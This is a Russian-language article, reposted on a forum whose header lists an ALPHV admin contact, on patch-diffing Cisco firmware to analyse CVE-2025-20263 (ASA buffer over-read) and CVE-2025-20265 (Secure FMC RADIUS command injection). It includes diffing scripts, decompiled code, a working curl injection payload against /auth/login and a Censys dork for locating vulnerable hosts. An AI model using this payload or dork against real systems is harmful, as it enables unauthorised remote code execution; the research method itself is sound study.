• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Проверяем на практике две уязвимости в прошивках

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,381
Розыгрыши
0
Реакции
694
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Прошивки сетевого оборудования нередко скрывают баги, поэтому их diff-анализ остается основным способом найти уязвимости и потенциальные точки для RCE. В сегодняшней статье я покажу общие техники и методы, которые применяю на практике при анализе 1-day-уязвимостей роутеров, файрволов и других подобных сетевых устройств.

warning​

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Необходимый уровень для понимания статьи и освоения подхода невысокий. Я не брал в качестве примера уязвимости со сложным процессом поиска и эксплуатации, тем не менее базовое представление о работе с прошивками (например, что такое binwalk) иметь необходимо.



Цели​

В качестве вендора для своих изысканий я выбрал Cisco. На самом деле на его месте мог быть кто угодно: Fortinet, Huawei, Juniper, — описанные методы плюс‑минус подойдут ко всем производителям сетевых устройств. Осталось найти перспективные CVE, которые в идеале способны дать нам RCE. Можно посмотреть информацию на CVE Details: Для просмотра ссылки Войди или Зарегистрируйся; а можно и адвайзори почитать: Для просмотра ссылки Войди или Зарегистрируйся.

На глаза в первую очередь попадает CVE-2025-20265: critical, CVSS 10.0, Cisco Secure FMC. Это нам интересно.

Дополнительно рассмотрим что‑то крупное и распространенное, например роутеры, сетевые коммутаторы, файрволы и прочее, что может торчать в сеть. С полным списком можно ознакомиться в Для просмотра ссылки Войди или Зарегистрируйся. Я выбрал security-решение Для просмотра ссылки Войди или Зарегистрируйся.

Применяем фильтр адвайзори по этому продукту (Cisco Adaptive Security Appliance (ASA) Software), сортируем по дате публикации за 2025 год. Остаются только уязвимости high и medium по версии Cisco, но не critical. Ладно, работаем с тем, что есть. Не берем в расчет уязвимости, которые требуют аутентификации. Также постараемся найти те, что будут срабатывать на настройках по умолчанию.

В итоге у нас остаются только DoS. В таком случае надежда на невнимательность вендора, на вероятность того, что он мог пропустить потенциальный RCE. В первую очередь ищем намек на DoS из‑за повреждения памяти, а не логические баги и зацикливание выполнения. В описании CVE-2025-20263 находим следующее: «A successful exploit could allow the attacker to cause a buffer overflow condition». Думаю, этот вариант нам подходит, берем его в работу и начинаем анализ.


CVE-2025-20263​


Ищем прошивки​

Адвайзори по Для просмотра ссылки Войди или Зарегистрируйся, к сожалению, не дает никакой информации об уязвимых версиях. Он лишь предоставляет Для просмотра ссылки Войди или Зарегистрируйся, которые характерны для конкретного продукта конкретной версии. Можно обратиться за помощью к Для просмотра ссылки Войди или Зарегистрируйся — там есть полный список уязвимых версий.

Стоит отметить, что у Cisco ASA весьма нетривиальная система версионирования: чтобы познакомиться с ней поближе, смотри Для просмотра ссылки Войди или Зарегистрируйся. Если вкратце, то Cisco параллельно поддерживает и выпускает патчи для множества версий, то есть для исследования можно брать любую минорную с необходимым vulnerability release (см. ссылку выше). Мне приглянулась 9.18.4.50, поскольку у меня уже были наработки по этой ветке релизов. В теории же можно было взять даже самую актуальную 9.22.1.3.

Поискав в интернете или же порыскав по сайту Cisco, мы можем наткнуться на Для просмотра ссылки Войди или Зарегистрируйся, из которых узнаем, что следующая версия релиза после уязвимой — 9.18.4.52. Вдобавок нам открывается тот факт, что патч был выпущен еще в январе 2025 года (напомню, что первая публикация адвайзори датируется августом 2025-го).

Следующим этапом будет получение необходимых прошивок для анализа. На странице того же адвайзори можно найти Для просмотра ссылки Войди или Зарегистрируйся. Если я правильно понял лицензионную и корпоративную политику Cisco, то в случае патчей, которые фиксят баги уровня Critical и High, обновления можно получить бесплатно, в остальных случаях необходимо дополнительно платить за поддержку девайса. У меня в наличии не было ни устройства, ни оплаченного договора на получение обновлений и поддержку от Cisco.

Какие варианты получения прошивок мы можем использовать? Я думаю, что у каждого ресерчера свои подходы, мои же следующие:

  • написать напрямую вендору как security researcher или bug bounty hunter (если у тебя только российское гражданство и нет навыков социальной инженерии, этот подход не сработает);
  • получить триальную (или облачную) версию, если есть такая возможность, и хакнуть систему обновлений;
  • взять конкретное имя файла прошивки и провести поиск в различных поисковых системах (на сайте получения обновлений есть точное указание имени файла: asav9-18-4-50.zip);
  • включить в поиск различные файлопомойки, Для просмотра ссылки Войди или Зарегистрируйся;
  • искать в индексерах P2P-сетей (привет, DC++ и ed2k и, конечно же, BitTorrent со своим DHT);
  • на сайтах, которые специализируются на конкретной тематике, например Для просмотра ссылки Войди или Зарегистрируйся;
  • на форумах добродушных сисадминов, готовых за бутылочку пива предоставить конкретный файл прошивки;
  • у друзей‑китайцев, например Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся.
Кроме железячных Cisco ASA, в природе существует Cisco Adaptive Security Virtual Appliance (ASAv). Они представляют собой подготовленные образы виртуальных систем, например для KVM, VMware, Hyper-V. Их также рекомендую найти и скачать. На моей практике различия прошивок для виртуалок и для реальных железок практически минимальны, если не брать в расчет архитектуру. Проводить динамический анализ, собирать fingerprint, разрабатывать PoC гораздо проще и дешевле на виртуалке.


Распаковываем​

Здесь, конечно, все индивидуально: есть вендоры, которые придумывают кастомные пакеры, а есть те, кто предоставляет всё в zip-архиве. Эмпирически я вывел для себя такую статистику: чем проще достать файл прошивки в сети (например, скачать с официального сайта), тем больше вероятность, что он будет зашифрован. Пример с Cisco ASA — прямое тому доказательство: достать актуальные версии нетривиально, распаковать же можно с помощью Binwalk без каких‑либо дополнительных телодвижений.

Останавливаться и подробно описывать операционную систему, а также структуру прошивки я здесь не буду, для нашей задачи достаточно того факта, что используется Wind River Linux. Остальное без проблем можно найти в сети, Cisco ASA уже давно изучена вдоль и поперек. Например, Для просмотра ссылки Войди или Зарегистрируйся выполнили в свое время ребята из NCC Group.


Ищем различия​

Чтобы локализовать место исправления уязвимости, необходимо найти все различия между версиями в файловой системе. Для выполнения этой задачи в разное время я использовал разные инструменты:

В последнее время я открываю для себя мир проприетарного софта, поэтому пробую Для просмотра ссылки Войди или Зарегистрируйся. Для описанных в статье CVE он показал себя неплохо:

  • хорошая скорость работы многопоточного алгоритма;
  • различные правила определения «похожести» файлов, в том числе бинарных;
  • гибкие фильтры для отсеивания ненужного, в том числе по содержимому файлов.
Искать 1-day бывает так же сложно, как иголку в стоге сена, а если нас еще обманули в адвайзори, то вообще практически невозможно. По этой причине нам необходимо максимально сузить область поиска, в идеале до одного файла, ведь потом нужно еще сравнить и проанализировать его содержимое.

Верим Cisco на слово и еще раз идем читать адвайзори более детально, чтобы понять, что мы можем сразу отбросить, даже не сравнивая содержимое отличающихся файлов. Строим гипотезы и предположения: если они не сработают и после очередного примененного фильтра пропадут вообще все файлы, то начинаем заново:

  • это баг повреждения памяти → смотрим только исполняемые файлы и библиотеки;
  • это HTTP-сервис → ищем http в файлах.
Beyond Compare. Сравнение 9.18.4.50 и 9.18.4.52
Beyond Compare. Сравнение 9.18.4.50 и 9.18.4.52

Дополнительно можно отсеять стандартные программы и библиотеки для Linux. У нас останется всего семь исполняемых файлов. Можно рискнуть и добавить фильтр на вхождение слова web, тогда останется только один файл — lina. Я бы уже перешел к анализу содержимого, но посчитаем, что нам повезло. Какие еще существуют способы фильтрации без глубокого анализа прошивки?

  1. Можно поискать следы имен найденных исполняемых файлов в системе: rg -luuu "start-adi". В таком случае мы обнаружим, что многие связи ведут в lina, а также что существуют скрипты с именами по типу http, которые оперируют файлом lina.
  2. Воспользоваться утилитой strings и обнаружить, что lina имеет следы полноценного веб‑сервера в отличие от других.
В общем, доказательств того, что нам нужна именно lina, уже предостаточно. Кроме этого, после прочтения статьи от NCC Group вопросов с выбором файла для анализа вообще не возникнет, поскольку lina является монструозным созданием на 100 Мбайт, которое отвечает практически за все процессы в Cisco ASA. И последний вариант идентификации нужного нам файла в нашей ситуации (вспоминаем, что это HTTP-сервис): поднять виртуальную машину (об этом позднее) и посмотреть открытые порты, а также слушающие их процессы.


Ищем баг​

В интернете можно найти множество статей и видеоуроков, рассказывающих, как сравнивать бинарные файлы, поэтому останавливаться на том, что такое BinDiff, Diaphora и иже с ними, я не буду. Вместо этого я расскажу, с какими проблемами в процессе сравнения можно столкнуться и как я их обычно решаю.

Итак, какие проблемы у нас возникают при анализе CVE-2025-20263?

  1. Огромный размер исполняемого файла. Вывод: Diaphora на Python с неоптимизированными алгоритмами под капотом сразу идет лесом. Признаться честно, на моей практике Diaphora и так ни разу не давала вменяемый результат, но, может быть, мне просто не везет.
  2. Большое количество изменений от версии к версии. В этом мы поверхностно убедились во время сравнения в Beyond Compare.
В принципе, даже этих двух проблем достаточно, чтобы анализ 1-day зашел в тупик.

Начнем с самого очевидного и распространенного способа: BinDiff. И BinExport (утилита для экспорта информации из средства реверс‑инжиниринга в формат Protobuf), и BinDiff написаны на C++. Алгоритмы по оптимизации «настоялись» еще несколько лет назад, поэтому обычно я не испытывал проблем при анализе даже самых больших файлов. Сейчас я пользуюсь Binary Ninja, а в последних версиях в виде Для просмотра ссылки Войди или Зарегистрируйся, поэтому не придется править Makefile и генерировать заново API, чтобы собрать билд BinExport конкретно для моей версии. На моей машине экспорт занимает на удивление мало времени. Пользователи лицензий Commercial+ могут сделать так:

Код:
$ cat > binja_diff.py <<EOF
import sys
import binaryninja
for f in sys.argv[1:]:
    with binaryninja.load(f) as bv:
        ctx = binaryninja.PluginCommandContext(bv)
        binaryninja.PluginCommand.get_valid_list(ctx)["BinExport"].execute(ctx)
EOF
$ python -m venv .venv && source .venv/bin/activate
$ python ~/binaryninja/scripts/install_api.py
$ python binja_diff.py ./asa9-18-4-5{0,2}-smp-k8.bin.extracted/5EE8A0/decompressed.bin.extracted/0/asa/bin/lina
Файл BinDiff SQLite я генерирую через CLI, тут же можно задавать необходимые опции:

./build/bindiff lina_9_18_4_5{0,2}.BinExport
Посмотрим, как сильно отличаются версии 50 и 52 (разница всего в два vulnerability release!):

$ export DIFF_FILE=lina_9_18_4_50_vs_lina_9_18_4_52.BinDiff
$ sqlite3 $DIFF_FILE "SELECT COUNT(*) FROM function WHERE similarity < 1.0"
802
$ sqlite3 $DIFF_FILE "SELECT COUNT(*) FROM function WHERE similarity < 1.0 AND similarity > 0.7 AND confidence > 0.5"
482
802 функции... Да даже 482 функции нет никакого желания и времени анализировать. Я для себя вывел два варианта решения этой проблемы.

  1. Автоматизация отсеивания: пропускать перемену мест базовых блоков, инструкций, обращать внимание на сравнения, на добавление новых функций и все в таком роде. Остатки просматривать вручную. Это хороший и правильный вариант, но подобное решение на коленке быстро не разработаешь. Это уже тянет на отдельную статью.
  2. Метод допущений. Добавляем дополнительные условия, отталкиваясь от фактов: патч, вероятно, тривиальный, значит, и процент изменений небольшой; базовых блоков в функции должно быть немало, да и сама функция немаленькая.
Так делать, конечно, не стоит, поскольку в функции могут быть и другие изменения, помимо патча. Кроме этого, бывают случаи, когда разработчики меняют опции компилятора и мусорных изменений очень много. Тем не менее такой способ имеет право на жизнь: а вдруг удастся быстро найти нужное место?

Код:
$ sqlite3 $DIFF_FILE "SELECT COUNT(*) FROM function WHERE similarity < 1.0 AND similarity > 0.95 AND confidence > 0.8 AND basicblocks > 4 AND instructions > 20"
268
Уже хорошо, но просматривать 268 графов функций — не самое приятное занятие.

Перейдем лучше к сравнению декомпилированного кода. Для этого снова воспользуемся Binary Ninja: для всех найденных функций получим HLIL и сравним друг с другом, как будто это исходный код. Для начала экспортируем информацию о сравнении функций в файл JSON. Затем извлечем нужные нам адреса. Декомпилируем функции по этим адресам (Для просмотра ссылки Войди или Зарегистрируйся можно взять из набора моих сниппетов для Binary Ninja). И проведем сравнение.

Код:
$ sqlite3 -json $DIFF_FILE "SELECT * FROM function WHERE similarity < 1.0 AND similarity > 0.95 AND confidence > 0.8 AND basicblocks > 4 AND instructions > 20" > out.json
$ cat out.json | jq ".[].address1" > 50.txt && cat out.json | jq ".[].address2" > 52.txt
$ # RUN BINARY NINJA SNIPPET
$ cat > decomp_diff.sh <<EOF
#!/bin/bash

JSON_FILE="$1"
DECOMP1_DIR="decomp_50"
DECOMP2_DIR="decomp_52"

to_hex() {
    printf "%08x.txt" "$1"
}

TEMP_FILE1=$(mktemp)
TEMP_FILE2=$(mktemp)

cleanup() {
    rm -f "$TEMP_FILE1" "$TEMP_FILE2"
}
trap cleanup EXIT

preprocess_file() {
    local input_file="$1"
    local output_file="$2"

    sed -E '
        s/sub_[0-9A-Fa-f]+/sub_XXXXXX/g

        s/0x[0-9A-Fa-f]+/0xXXXXXX/g
        s/[0-9A-Fa-f]{6,}/ADDR_XXXXXX/g

        #s/[0-9]+/NUM/g
    ' "$input_file" > "$output_file"
}

jq -c '.[]' "$JSON_FILE" | while read -r entry; do
    address1=$(echo "$entry" | jq -r '.address1')
    address2=$(echo "$entry" | jq -r '.address2')
    file1=$(to_hex "$address1")
    file2=$(to_hex "$address2")
    path1="$DECOMP1_DIR/$file1"
    path2="$DECOMP2_DIR/$file2"
    preprocess_file "$path1" "$TEMP_FILE1"
    preprocess_file "$path2" "$TEMP_FILE2"

    # delta "$TEMP_FILE1" "$TEMP_FILE2"
    nvim -d"$TEMP_FILE1" "$TEMP_FILE2"

    read -r
done
EOF
$ chmod +x ./decomp_diff.sh && ./decomp_diff.sh out.json

Даже в этом скрипте для проведения сравнения есть допущения: мы обезличиваем все адреса функций, данных, шестнадцатеричные числа.

Даже при таком топорном подходе патч хорошо видно
Даже при таком топорном подходе патч хорошо видно

Думаю, что описанный подход вполне применим на практике. Но если все‑таки мы работаем наверняка, то я бы пошел другим путем — Version Tracking в составе Ghidra. Мой план действий следующий:

  1. Загружаем и анализируем бинари в Ghidra.
  2. В Version Tracking проводим сравнение, используя сначала все корреляторы Exact.
  3. Затем запускаем коррелятор BSim, который заточен как раз на поиск патчей.
  4. Проводим комфортное сравнение вывода декомпилятора.
Рекомендую итеративный анализ, если ни разу не пробовали Version Tracking
Рекомендую итеративный анализ, если ни разу не пробовали Version Tracking

При этом не забываем поиграть:

  • с тегами: помечаем интересные нам функции;
  • с фильтрами: отсеиваем ненужное;
  • с апрувами сравнения: обязательно помечаем все проверенные функции как идентичные (Accept), Version Tracking на основе этого дополнит список похожих функций.
Ну и в ходе анализа мы можем на месте изменять сигнатуры функций, давать имена и, в конце концов, написать скрипты, которые будут отсеивать ненужные нам изменения, внесенные компилятором.

Тот же патч, только в Ghidra
Тот же патч, только в Ghidra

А вот еще один рабочий для меня метод в случае, если реверс хотя бы одной версии все‑таки был произведен: анализ графа вызовов, например с помощью Для просмотра ссылки Войди или Зарегистрируйся. Обычно этот плагин я использую для анализа покрытия во время триажа бага или нахождения новых путей во время фаззинга. Но и в случае диффинга он тоже выручает.

Скриншот не мой, это не Cisco, бага здесь нет
Скриншот не мой, это не Cisco, бага здесь нет

Анализ бага, PoC​

Что мы имеем в итоге? Давай, чтобы было более очевидно, немного пореверсим и восстановим имена функций и переменных, хотя в нашем случае это вовсе не обязательно.

Код:
char* url_path = (uint64_t)((char*)http + 0x258); // 1
uint64_t admin_len = strnlen(url_path, __wrap_strlen("/admin/")); // 2
char* url_path_1 = (uint64_t)((char*)http + 0x258);
int64_t offset;

if (__wrap_strncmp(url_path_1, "/admin/", admin_len)) // 3
{
    if (!__wrap_strncmp(url_path_1, "/gadmin/", __wrap_strlen("/gadmin/")))
        goto label_1943327;

    if (!__wrap_strncmp(url_path_1, "/hadmin/", __wrap_strlen("/hadmin/")))
        goto label_1943327;

    offset = 0;
}
else
{
    int64_t admin_wo_slash_len = __wrap_strlen("/admin");
    offset = admin_wo_slash_len;
    url_path = &url_path[admin_wo_slash_len]; // 4
}

memset(&out_buf, 0, 0x400);

if ((uint8_t)((char*)http + 0x87c) == 1)
    __strncat_to_buf(0x400, &out_buf, "/gadmin", __wrap_strlen("/gadmin"));
else
    __strncat_to_buf(0x400, &out_buf, "/hadmin", __wrap_strlen("/hadmin"));

__strncat_to_buf(0x400, &out_buf, url_path, // 5
    __wrap_strlen((uint64_t)((char*)http + 0x258)) - offset); // 6

Входной аргумент — http, который содержит остаточные компоненты URL после хоста и порта (для простоты будем называть это просто URL). Этим аргументом мы как раз и можем оперировать (см. 1 в листинге). В случае если длина URL будет меньше длины строки /admin/, все пойдет наперекосяк:

  • неверно посчитается размер строки /admin/ (см. 2), он будет меньше и равен длине URL;
  • сравнение строк (см. 3) произойдет некорректно, будет казаться, что, например, URL / равен /admin/;
  • начнется buffer over-read (см. 4), если быть точным, то сначала произойдет неверное указание за границы;
  • тут же возникнет integer underflow (см. 6): strlen('/') - strlen('/admin');
  • и вот здесь (см. 5) уже происходит buffer over-read.
По CWE из адвайзори тоже идеально подходит — Для просмотра ссылки Войди или Зарегистрируйся.

Как это пофиксили:

Код:
int32_t url_path_len = __wrap_strlen((uint64_t)((char*)http + 0x258));

if ((int64_t)__wrap_strlen(&out_buf) + (int64_t)url_path_len - offset <= 0x3ff)
    __strncat_to_buf(0x401, &out_buf, url_path);

Просто добавили проверку длины URL. Именно за нее и получилось зацепиться во время bindiff-анализа.

Что это нам дает? Да ничего! Обычный DoS, который даже не имеет смысла раскручивать. По этой причине не будет и дальнейшего анализа для выяснения входных точек и условий, и написания PoC.

К сожалению, Cisco, а именно команда PSIRT, весьма ответственно подходит к своей работе. Это одновременно и плюс (одних адвайзори может быть достаточно для принятия решения, брать ли в разработку тот или иной 1-day), и минус (надеяться на RCE, если написано, что только DoS, вряд ли стоит).


CVE-2025-20265​


Ищем прошивки​

В этом случае в Для просмотра ссылки Войди или Зарегистрируйся все отлично написано: уязвимы только версии 7.0.7 и 7.7.0. А на Для просмотра ссылки Войди или Зарегистрируйся можно посмотреть, какие следующие версии имеют патч. Возьмем мажорную версию поновее 7.7.x, то есть будем сравнивать 7.7.0 и 7.7.10. На самом деле я бы взял, конечно, 7.0.6 и 7.0.7, уповая на то, что изменений там гораздо меньше, но на просторах интернета быстро найти прошивки этих версий не удалось, поэтому работаем с тем, что имеем. Используя уже испытанные методы поиска прошивок, находим необходимые и приступаем к анализу.


Распаковываем​

Мои выводы по статистике работают и здесь: найти сложно, распаковать легко. В данном случае даже не потребуется Binwalk, скрипт распаковки уже внедрен в сам архив.


Ищем различия​

Снова берем в руки Beyond Compare или то, чем ты любишь пользоваться, и ищем что‑нибудь интересное.

Как и ожидалось, между 7.7.0 и 7.7.10 просто пропасть! В рассматриваемом случае я рекомендую опять же выставить фильтры (упоминание RADIUS, например), но к ним дополнительно еще и настроить приоритеты поиска:

  1. Исполняемые файлы (в адвайзори нет конкретного упоминания, что это бинарный баг, но по статистике будем думать, что это именно так).
  2. Библиотеки.
  3. Файлы конфигурации (очень похоже, что проблемы могут быть и здесь).
  4. jar-файлы (их очень много, поэтому мы просто надеемся, что баг не там, хотя... если автоматизировать поиск, то будет даже проще, чем с бинарями).
  5. Все остальное.
Дальше у меня нет какого‑то конкретного решения или метода работы, только чуйка и опыт. И именно они подсказали, что проблема кроется в файле libsfclientx.so. В нем много упоминаний RADIUS, а самое главное, есть функции extern (кстати, можно использовать и такой маркер поиска нужных файлов для анализа), которые отвечают за проверку аутентификации через этот самый RADIUS.


Ищем баг​

Как и в случае с CVE-2025-20263, можно провести полный bindiff-анализ. Но я даже не стал этим заниматься, поскольку с наскока получилось отследить точку входа.

Как я уже упоминал, в файлах есть функции extern, а значит, надо восстановить всю цепочку вызовов.

Код:
$ export NAME="libsfclientx.so"
$ export FILE=$(fd $NAME)
$ rg -luuu "$NAME" 2>/dev/null
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/lib/rpm/rpmdb.sqlite
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/etc/ld.so.cache
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so
$ export SF=$(fd "sfclient.so")
$ comm -1 -2 <(rz-bin -Eqq $FILE 2>/dev/null | sort) <(rz-bin -iqq $SF 2>/dev/null | sort)
sfclient_Init
sfclient_perror
sfclient_User_GetById
sfclient_User_GetByUsername
sfclient_User_GetCurrentUser
sfclient_User_GetId
sfclient_User_LoggedIn
sfclient_User_Login
sfclient_User_Login_AuthConfig_Test
sfclient_User_Login_Post
$ rg -luuu "sfclient_User_Login" 2>/dev/null
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/sfclient.pm
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/SF/Auth.pm
$ rg -luuu "sfclient_User_Login_Post" 2>/dev/null
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/sfclient.pm
$ rg -luuu "sfclient_Init" 2>/dev/null
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/sfclient.pm
bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/SF/Auth.pm

Итак, у нас появились два подозреваемых, а именно Perl-файлы:

  • sfclient.pm
  • Auth.pm
Первый файл оказался не чем иным, как оберткой над бинарной библиотекой sfclient.pm:

Код:
# ------- FUNCTION WRAPPERS --------

package sfclient;

*sfclient_User_Login_AuthConfig_Test = *sfclientc::sfclient_User_Login_AuthConfig_Test;
*sfclient_User_Login = *sfclientc::sfclient_User_Login;
*sfclient_User_Login_Post = *sfclientc::sfclient_User_Login_Post;
*sfclient_User_GetCurrentUser = *sfclientc::sfclient_User_GetCurrentUser;
*sfclient_User_GetByUsername = *sfclientc::sfclient_User_GetByUsername;
*sfclient_User_GetById = *sfclientc::sfclient_User_GetById;
*sfclient_User_GetId = *sfclientc::sfclient_User_GetId;
*sfclient_User_LoggedIn = *sfclientc::sfclient_User_LoggedIn;
*sfclient_User_login = *sfclientc::sfclient_User_login;
*sfclient_User_getcurrentuser = *sfclientc::sfclient_User_getcurrentuser;
*sfclient_User_getbyusername = *sfclientc::sfclient_User_getbyusername;
*sfclient_User_getbyid = *sfclientc::sfclient_User_getbyid;
*sfclient_Init = *sfclientc::sfclient_Init;
*sfclient_perror = *sfclientc::sfclient_perror;

А вот второй файл как раз использует эти самые функции. Проанализировать Perl-файлы оказалось достаточно просто. Можно взять любой сервер LSP Perl, установить в свой любимый редактор и отследить порядок вызовов интересующих нас функций. В итоге оказывается, что целевая функция всего одна: sfclient::sfclient_User_login($username, $password, $conf), где username и password — это не что иное, как креды, которые поступают при аутентификации.

Теперь необходимо вернуться назад и проанализировать функцию sfclient_User_Login из libsfclientx.so. Отследив аргументы, которые передаются в эту функцию, мы получаем следующую цепочку: sfclient_User_Login → check_auth_all → check_auth_radius → rc_auth_req → execute_radclient_command via create_av_pair → popen via snprintf. При этом popen — классическая функция для бага command injection. Смотрим адвайзори — Для просмотра ссылки Войди или Зарегистрируйся. Все сходится, переходим к анализу.


Анализ бага, PoC​

Вот что передается на вход popen через подготовку с помощью snprintf: echo '%s' | /usr/bin/radclient %s -xs%s%s -r %d -t %d %s:%d %s %s 2>&1, где с использованием echo передаются отформатированные username и password. Для username в Perl-скриптах предусмотрены дополнительные проверки, этот объект нам не подходит, а вот password — то, что нужно. Он никак не обрабатывается, проверок никаких нет, поэтому можно не придумывать bypass для фильтров, а просто подать на вход строку типа '&&touch pwnlol&&.

Думаю, настало время перейти к PoC. Для этого необходимо выяснить, каким образом можно произвести аутентификацию. Делается это несложно: в ходе анализа мы выясняем, что в качестве frontend-сервера, если можно так выразиться, функционирует Apache, который распределяет запросы по backend-сервисам. Один из таких сервисов как раз веб‑сервер на Perl: Для просмотра ссылки Войди или Зарегистрируйся. Там же происходит процесс аутентификации, авторизации и прочего. Endpoint аутентификации: /auth/login, для нее необходим POST-запрос с полями username и password. Отсюда и примитивный PoC: curl -k -d "username=a&password='&&touch pwnlol&&" $URL/auth/login.

Помнится, я говорил, что скачанные образы виртуальных машин могут быть нам полезны. Их время пришло: необходимо протестировать PoC. Что касается Cisco Secure FMC, то у них имеется Для просмотра ссылки Войди или Зарегистрируйся, которая, к счастью, прекрасно работает. На своей практике я опять же сталкивался с рядом проблем (официальная документация и форумы никак не помогают):

  • не работает интерфейс serial, поэтому всегда при первом запуске подключай в KVM графический вывод;
  • подобные решения бывают весьма требовательны к периферии: нужно то много оперативной памяти, то watchdog, то устройство SMBIOS UUID, к которому была бы возможность привязать лицензию;
  • из‑за требований FIPS также иногда требуются современные CPU с поддержкой тех или иных инструкций.
После того как будет запущена виртуальная машина, веб‑доступ окажется уже включен. Теперь необходимо активировать аутентификацию через RADIUS. Здесь, на удивление, тоже все оказалось просто: вот Для просмотра ссылки Войди или Зарегистрируйся.

В ходе тестов на виртуальной машине можно выяснить, что уязвимый процесс запущен от пользователя www, соответственно, и все команды выполняются от него же. На самом деле здесь не проблема найти LPE, но подробно рассказывать я об этом не буду. Кроме того, если провести более глубокий анализ, то можно выяснить, что уязвимая функция также используется при SSH-доступе, а вот все команды там будут выполняться от root.

В качестве бонуса можно попробовать найти fingerprint для устройств конкретной версии, чтобы написать dork для Shodan, Censys, FOFA и подобных сервисов. Не будем углубляться в дебри, возьмем первое попавшееся уникальное значение с index-страницы.

Путь / редиректит на /ui/login. Страница login, в свою очередь, содержит хеш‑значение v9186jMMtwM. Если заглянуть в исходники bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/htdocs/templates/html_templates/login.tmpl (поиск этого файла можно произвести по контексту вокруг хеш‑значения), то там мы обнаружим, что за генерацию этого самого значения отвечает функция getVersion(). Выходит, это значение уникальное и характерно для конкретной версии, значит, его можно использовать. Пример дорка для Censys: web.endpoints.http.body: "v9186jMMtwM".

Автоматизированную версию PoC для проверки своего сервера можно найти на Для просмотра ссылки Войди или Зарегистрируйся.


Итоги​

Мы проанализировали два бага с разной степенью критичности, и оба анализа доказали, что Cisco не обманывают в адвайзори. Тем не менее все мы люди и совершаем ошибки, поэтому ты можешь выбрать иной 1-day от Cisco или другого вендора и прощупать места рядом с патчем. Мне не повезло, но зато второй баг доказал, что если в адвайзори заявлено 10.0, то это реально критическая уязвимость. Поэтому, дорогой читатель, изучай и пробуй!
 
Activity
So far there's no one here
Сверху Снизу